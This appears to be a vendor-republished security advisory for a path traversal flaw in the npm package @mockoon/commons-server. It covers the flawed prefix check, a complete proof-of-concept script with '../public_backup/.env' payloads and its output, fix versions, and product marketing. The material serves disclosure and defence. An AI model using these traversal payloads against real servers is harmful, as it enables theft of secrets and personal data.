GHSA-8wqc-v2q8-vff2 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in @mockoon/commons-server. O3 Security confirms whether GHSA-8wqc-v2q8-vff2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)
Real-World Exposure
@mockoon/commons-server📦@mockoon/cliReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
Details
packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...
filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).
PoC
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/[email protected] >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
Output:
[*] intended file (public/index.txt) : public landing page
[+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, [email protected], 555-22-7741
../public_backup/.env and ../public_backup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @mockoon/commons-server | all versions | 9.7.0 |
| 📦npm | @mockoon/cli | all versions | 9.7.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @mockoon/commons-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @mockoon/commons-server to 9.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8wqc-v2q8-vff2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8wqc-v2q8-vff2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8wqc-v2q8-vff2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8wqc-v2q8-vff2 in your dependencies?
O3 detects GHSA-8wqc-v2q8-vff2 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.